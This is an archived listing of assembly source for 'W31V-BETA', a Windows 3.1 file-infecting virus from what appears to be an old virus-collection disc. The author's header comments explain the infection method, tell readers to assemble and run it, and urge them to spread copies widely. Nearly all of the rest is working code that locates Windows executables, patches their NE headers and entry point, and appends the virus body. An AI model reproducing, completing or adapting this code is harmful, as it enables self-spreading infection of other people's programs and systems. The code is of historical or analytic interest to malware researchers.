home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / WINVCOLL.ZIP / WINMADEF.ZIP / W31V.ZIP / W31V.ASM next >
Assembly Source File  |  1995-09-02  |  9KB  |  331 lines

  1. ;Virus Name: W31V-BETA
  2. ;Type      : Windows Virus, infects windows executables
  3. ;Written by: Stalker X
  4. ;
  5. ;
  6. ;Here it is folks my first windows virus.
  7. ;I would firstly just want to say thankyou to qark and quantum for this
  8. ;virus is based on the infection of a windows virus as discribed in VLAD-#4
  9. ;Ok as you can see parts of this virus is based on WinSurfer, BUT as you
  10. ;can also see it's more compact. Instead of using dropper code I used a
  11. ;software fuse. This virus also does not go TSR in windows, it infects on
  12. ;execute. The reason why I did not make it TSR is because it's to mutch work
  13. ;for me :) and secondly well at the rate Windows users restart programs there
  14. ;is no need to go TSR!
  15. ;This is my first try so bare with me :) ooooh yes all that comments is
  16. ;not ment for you the reader ... BUT ME!! :) Frankly I get lost in my own
  17. ;code if I don't comment it.
  18. ;Ok Assemble this virus as a EXE then run it in the dir of a Win EXE
  19. ;This virus only infects one file at a time but it does change dir's to
  20. ;find a file. Nothing new exept that it's for windows .. if you don't
  21. ;understand what I have written ,,,, then get VLAD-#4
  22. ;
  23. ;Please do copy this code .. add your own stuff if you want to .. I didn't
  24. ;write this so it can sit on a shelf. SO GO WILD.. just don't say you wrote
  25. ;the whole thing yourself.... just spread it as far as you can and in
  26. ;many diffrent copies as you can.
  27.  
  28.  jumps
  29. .model tiny
  30. .stack 512
  31. .code
  32. .286P
  33.  assume cs:@code,ds:@code
  34.  org 0
  35.  
  36. START:        pusha                ;save all general regs
  37.         push    si            ;save si
  38.         push    di            ;save di
  39.         push    ds            ;save ds
  40.         push    es            ;save es
  41.         
  42. FUSE:        jmp    Fused            ;first time no DPMI
  43.         jmp    DPMIdetect        ;goto dpmi code
  44. Fused:        mov    ax,cs            ;ax=cs
  45.         mov    ds,ax            ;ds=ax
  46.         mov    word ptr cs:[FUSE],9090h;blow fuse after 1st run
  47.         jmp    DPMIFin            ;skip dpmi code
  48. DPMIdetect:    mov    ax,1686h        ;check for dpmi
  49.         int    2fh            ;do check
  50.         or    ax,ax            ;check return
  51.         jz    DPMIfound        ;if 0 then dpmi
  52.         jmp    EXIT            ;exit if no dpmi
  53. DPMIfound:    mov    ax,000ah        ;get alias selector
  54.         push    cs            ;save cs
  55.         pop    bx            ;restore cs in bx
  56.         int    31h            ;do get alias
  57.         push    ax            ;save ax
  58.         pop    ds            ;restore ax ds
  59. DPMIFin:    mov    ah,1ah            ;set DTA
  60.         mov    dx,offset DTA        ;set DTA ofs
  61.         int    21h            ;do set DTA
  62.  
  63. FindFirst:    xor    cx,cx            ;set f attrib
  64.         mov    ah,4eh            ;find first file
  65.         mov    dx,offset FSPEC        ;set fspec
  66.         int    21h            ;do find it
  67.         jc    EXIT            ;exit if no exe found
  68.  
  69. Check:        call    Chk4WinEXE        ;check if it's a win exe
  70.         cmp    [TMP],0            ;check return byte
  71.         jz    FindNext        ;go to next exe if not win
  72.  
  73.         call    Infect            ;infect the win EXE
  74.         mov    ah,3eh            ;close the exe file
  75.         int    21h            ;do it
  76.         jmp    EXIT            ;exit to infect only 1 file
  77. FindNext:    mov    ah,4fh            ;find next file
  78.         int    21h            ;do find it
  79.         jnc    Check            ;go check again for win
  80. ChangeDIR:    mov    dx,offset DOTDOT    ;'..'
  81.         mov    ah,3bh            ;change dir
  82.         int    21h            ;do change now
  83.         jnc    FindFirst        ;find first file in dir
  84.  
  85. EXIT:        pop    es            ;restore es
  86.         pop    ds            ;restore ds
  87.         pop    di            ;restore di
  88.         pop    si            ;restore si
  89.         popa                ;restore all general regs
  90.         db    0eah            ;far Jmp
  91. ret_ip:        dw    0            ;exit program
  92. ret_set        dw    0ffffh            ;-
  93.  
  94. Chk4WinEXE:    mov    dx,offset F_Name    ;set file name ofs
  95.         mov    ax,3d02h        ;open file for r/w
  96.         int    21h            ;do open file
  97.         jc    ChkExit            ;exit on error
  98.         mov    bx,ax            ;save handle in bx
  99.  
  100.         mov    si,offset BUFF        ;si=offset of buffer
  101.         mov    ah,3fh            ;read function
  102.         mov    dx,offset BUFF        ;dx=offset of buffer
  103.         mov    cx,512            ;read 512 bytes
  104.         int    21h            ;do read bytes
  105.  
  106.         cmp    byte ptr [si+18h],40h    ;check relocation
  107.         jb    ChkFinF            ;exit if not ok
  108.         cmp    word ptr [si+3ch],400h    ;check NE offset
  109.         jne    ChkFinF            ;exit if not ok
  110.         cmp    word ptr [si+16h],0    ;CS must be 0
  111.         jne    ChkFinF            ;exit if not ok
  112.         cmp    word ptr [si+14h],0    ;IP must be 0
  113.         jne    ChkFinF            ;exit if not ok
  114.         cmp    word ptr [si+08h],20h    ;check header size
  115.         je    ChkFin            ;exit if not ok
  116.  
  117. ChkFinF:    mov    ah,3eh            ;close file
  118.         int    21h            ;do close file
  119.         mov    [TMP],0            ;return error
  120.         retn                ;retn
  121. ChkFin:        mov    [TMP],1            ;return ok
  122. ChkExit:    retn                ;do it
  123.  
  124.  
  125. Infect:        mov    si,offset BUFF        ;si=offset buffer
  126.         sub    word ptr [si+10h],8    ;move SP back 8 bytes
  127.         sub    word ptr [si+3ch],8    ;move NE back 8 bytes
  128.  
  129.         mov    ax,4200h        ;move r/w pointer
  130.         xor    cx,cx            ;cx=0
  131.         xor    dx,dx            ;dx=0
  132.         int    21h            ;do move r/w pointer
  133.  
  134.         mov    ah,40h            ;write to file
  135.         mov    dx,offset BUFF        ;set source offset
  136.         mov    cx,3eh            ;write EXE header back
  137.         int    21h            ;do write header back
  138.  
  139.         mov    ax,4200h        ;move r/w pointer
  140.         xor    cx,cx            ;cx=0
  141.         mov    dx,200h            ;set to dest
  142.         int    21h            ;do move r/w pointer
  143.         mov    ah,40h            ;write to file
  144.         mov    dx,offset winstart    ;dx=source offset
  145.         mov    cx,offset windowsmsgend-offset winstart
  146.         int    21h            ;write new dos stub
  147.  
  148.         mov    ax,4200h        ;move r/w pointer
  149.         xor    cx,cx            ;cx=0
  150.         mov    dx,400h            ;set offset
  151.         int    21h            ;do move r/w pointer
  152.         mov    ah,3fh            ;read from file
  153.         mov    dx,offset BUFF        ;dx=offset of buffer
  154.         mov    cx,512            ;read header
  155.         int    21h            ;do read from file
  156.  
  157.         inc    word ptr [si+1ch]    ;inc segment count
  158.         mov    ax,word ptr [si+1ch]    ;ax=segment count
  159.         dec    ax            ;ax=ax-1
  160.         mov    cl,8            ;Assume Segs<255
  161.         mul    cl            ;multiply to get bytes
  162.         xor    dx,dx            ;dx=0
  163.         add    ax,word ptr [si+22h]    ;ax=total tab size
  164.         adc    dx,0            ;add with carry(just incase)
  165.         mov    cx,512            ;dx:ax/512
  166.         div    cx            ;do it
  167.         mov    [Move512],ax        ;Number of 512pages to mov
  168.         mov    [MoveLft],dx        ;Number of leftover bytes
  169.  
  170.         push    word ptr [si+32h]    ;save file alignment value
  171.         pop    [Al_Sh]            ;save alignment shift value
  172.         mov    [Seek],400h        ;setup seek var
  173.  
  174.         push    word ptr [si+16h]    ;save host cs
  175.         pop    [hostcs]        ;save NE cs
  176.         push    word ptr [si+14h]    ;save host ip
  177.         pop    [hostip]        ;save NE ip
  178.         mov    ax,word ptr [si+1ch]    ;ax=number of segments
  179.         mov    word ptr [si+08h],0    ;clr crc
  180.         mov    word ptr [si+0ah],0    ;clr crc
  181.         mov    word ptr [si+14h],0    ;set new ip
  182.         mov    word ptr [si+16h],ax    ;set new cs
  183.  
  184.         mov    ax,word ptr [si+22h]    ;
  185.         cmp    word ptr [si+04h],ax    ;    
  186.         jb    CmpRes            ;
  187.         add    word ptr [si+04h],8    ;
  188. CmpRes:        cmp    word ptr [si+24h],ax    ;
  189.         jb    CmpResi            ;
  190.         add    word ptr [si+24h],8    ;
  191. CmpResi:    cmp    word ptr [si+26h],ax    ;
  192.         jb    CmpModule        ;
  193.         add    word ptr [si+26h],8    ;
  194. CmpModule:    cmp    word ptr [si+28h],ax    ;
  195.         jb    CmpImp            ;
  196.         add    word ptr [si+28h],8    ;
  197. CmpImp:        cmp    word ptr [si+2ah],ax    ;
  198.         jb    MoveHead        ;
  199.         add    word ptr [si+2ah],8    ;
  200.  
  201. MoveHead:    mov    ax,[Move512]        ;loop to move NE head
  202.         or    ax,ax            ;check if counter=0
  203.         jz    Last            ;exit if counter=0
  204.  
  205.         dec    [Move512]        ;counter=counter-1
  206.  
  207.         mov    ax,4200h        ;move r/w pointer
  208.         xor    cx,cx            ;cx=0
  209.         mov    dx,[Seek]        ;dx=seek
  210.         sub    dx,8            ;dx=dx-8
  211.         int    21h            ;do move r/w pointer
  212.  
  213.         mov    ah,40h            ;write to file
  214.         mov    dx,offset BUFF        ;dx=source offset
  215.         mov    cx,512            ;write 512 bytes
  216.         int    21h            ;do write 512 bytes
  217.  
  218.         add    [Seek],512        ;seek=seek+512
  219.  
  220.         mov    ax,4200h        ;move r/w pointer
  221.         xor    cx,cx            ;cx=0
  222.         mov    dx,[Seek]        ;dx=seek
  223.         int    21h            ;do move r/w pointer
  224.  
  225.         mov    ah,3fh            ;read file
  226.         mov    dx,offset BUFF        ;dx=offset buffer
  227.         mov    cx,512            ;read 512 bytes
  228.         int    21h            ;do read 512 bytes
  229.  
  230.         jmp    MoveHead        ;continue to move header
  231.  
  232. Last:        mov    ax,4202h        ;seek end of file
  233.         xor    cx,cx            ;cx=0
  234.         xor    dx,dx            ;dx=0
  235.         int    21h            ;do seek
  236.         mov    cl,byte ptr [Al_Sh]    ;cl=shift count
  237.         push    bx            ;save bx
  238.         mov    bx,1            ;bx=1
  239.         shl    bx,cl            ;calc shift
  240.         mov    cx,bx            ;cx=bx
  241.         pop    bx            ;restore bx
  242.         div    cx            ;divide with shift
  243.  
  244.         mov    di,offset BUFF        ;di=buffer offset
  245.         add    di,[MoveLft]        ;calc where to patch
  246.         
  247.         mov    word ptr [di],ax    ;patch insert segment tab
  248.         mov    word ptr [di+2],offset ALL_VIR
  249.         mov    word ptr [di+4],180h
  250.         mov    word ptr [di+6],offset ALL_VIR
  251.  
  252.         mov    ax,4200h        ;move r/w pointer
  253.         xor    cx,cx            ;cx=0
  254.         mov    dx,[Seek]        ;dx=seek
  255.         sub    dx,8            ;dx=dx-8
  256.         int    21h            ;do move r/w pointer
  257.  
  258.         mov    ah,40h            ;write to file
  259.         mov    dx,offset BUFF        ;dx=source offset
  260.         mov    cx,[MoveLft]        ;write bytes left
  261.         add    cx,8            ;cx=cx+8 (+segment entry)
  262.         int    21h            ;do write to file
  263.  
  264.         mov    ax,4202h        ;seek end of file
  265.         xor    cx,cx            ;cx=0
  266.         xor    dx,dx            ;dx=0
  267.         int    21h            ;do seek
  268.     
  269.         mov    ax,word ptr ds:[ret_ip] ;save link
  270.         mov    word ptr [si],ax    ;save link
  271.         mov    ax,[ret_set]        ;save link
  272.         mov    word ptr [si+2],ax    ;save link
  273.  
  274.         mov    word ptr ds:[ret_ip],0    ;setup relocation
  275.         mov    [ret_set],0FFFFh    ;!
  276.         mov    [relocation],1        ;!
  277.         mov    [reloc2],3        ;!
  278.         mov    [reloc3],4        ;!
  279.         mov    [reloc4],offset ret_ip    ;!
  280.  
  281.         mov    ah,40h            ;write to file
  282.         xor    dx,dx            ;dx=0
  283.         mov    cx,offset ALL_CODE    ;write the hole body
  284.         int    21h            ;do write
  285.  
  286.         mov    ax,word ptr [si]    ;restore link
  287.         mov    word ptr ds:[ret_ip],ax    ;restore link
  288.         mov    ax,word ptr [si+2]    ;restore link
  289.         mov    [ret_set],ax        ;restore link
  290.  
  291.         retn                ;return from infection
  292.  
  293. ;-Fake win msg
  294. winstart:       call    windowsmsg
  295.             db      'This program requires Microsoft '
  296.         db    'Windows.',0dh,0ah,'$'
  297. windowsmsg:     pop     dx
  298.             push    cs
  299.             pop     ds
  300.             mov     ah,9
  301.             int     21h
  302.             mov     ax,4c01h
  303.             int     21h
  304. windowsmsgend:
  305.  
  306. TMP    dw    0
  307. Move512    dw    0
  308. MoveLft    dw    0
  309. Al_Sh    dw    0
  310. Seek    dw    0
  311. DOTDOT    db    '..',0
  312. FSPEC    db    '*.exe',0
  313. DTA    db    21 dup(0)
  314. Attrib    db    0
  315. F_Time    dw    0
  316. F_Date    dw    0
  317. F_SizeL    dw    0
  318. F_SizeH    dw    0
  319. F_Name    db    13 dup(0)
  320. IDB    db    'w31v-BETA'
  321. BUFF    db    512 dup(0)
  322. ALL_VIR:
  323. relocation    dw 1
  324. reloc2        db 3
  325. reloc3        db 4
  326. reloc4        dw offset ret_ip
  327. hostcs        dw 0
  328. hostip        dw 0
  329. ALL_CODE:
  330. end START
  331.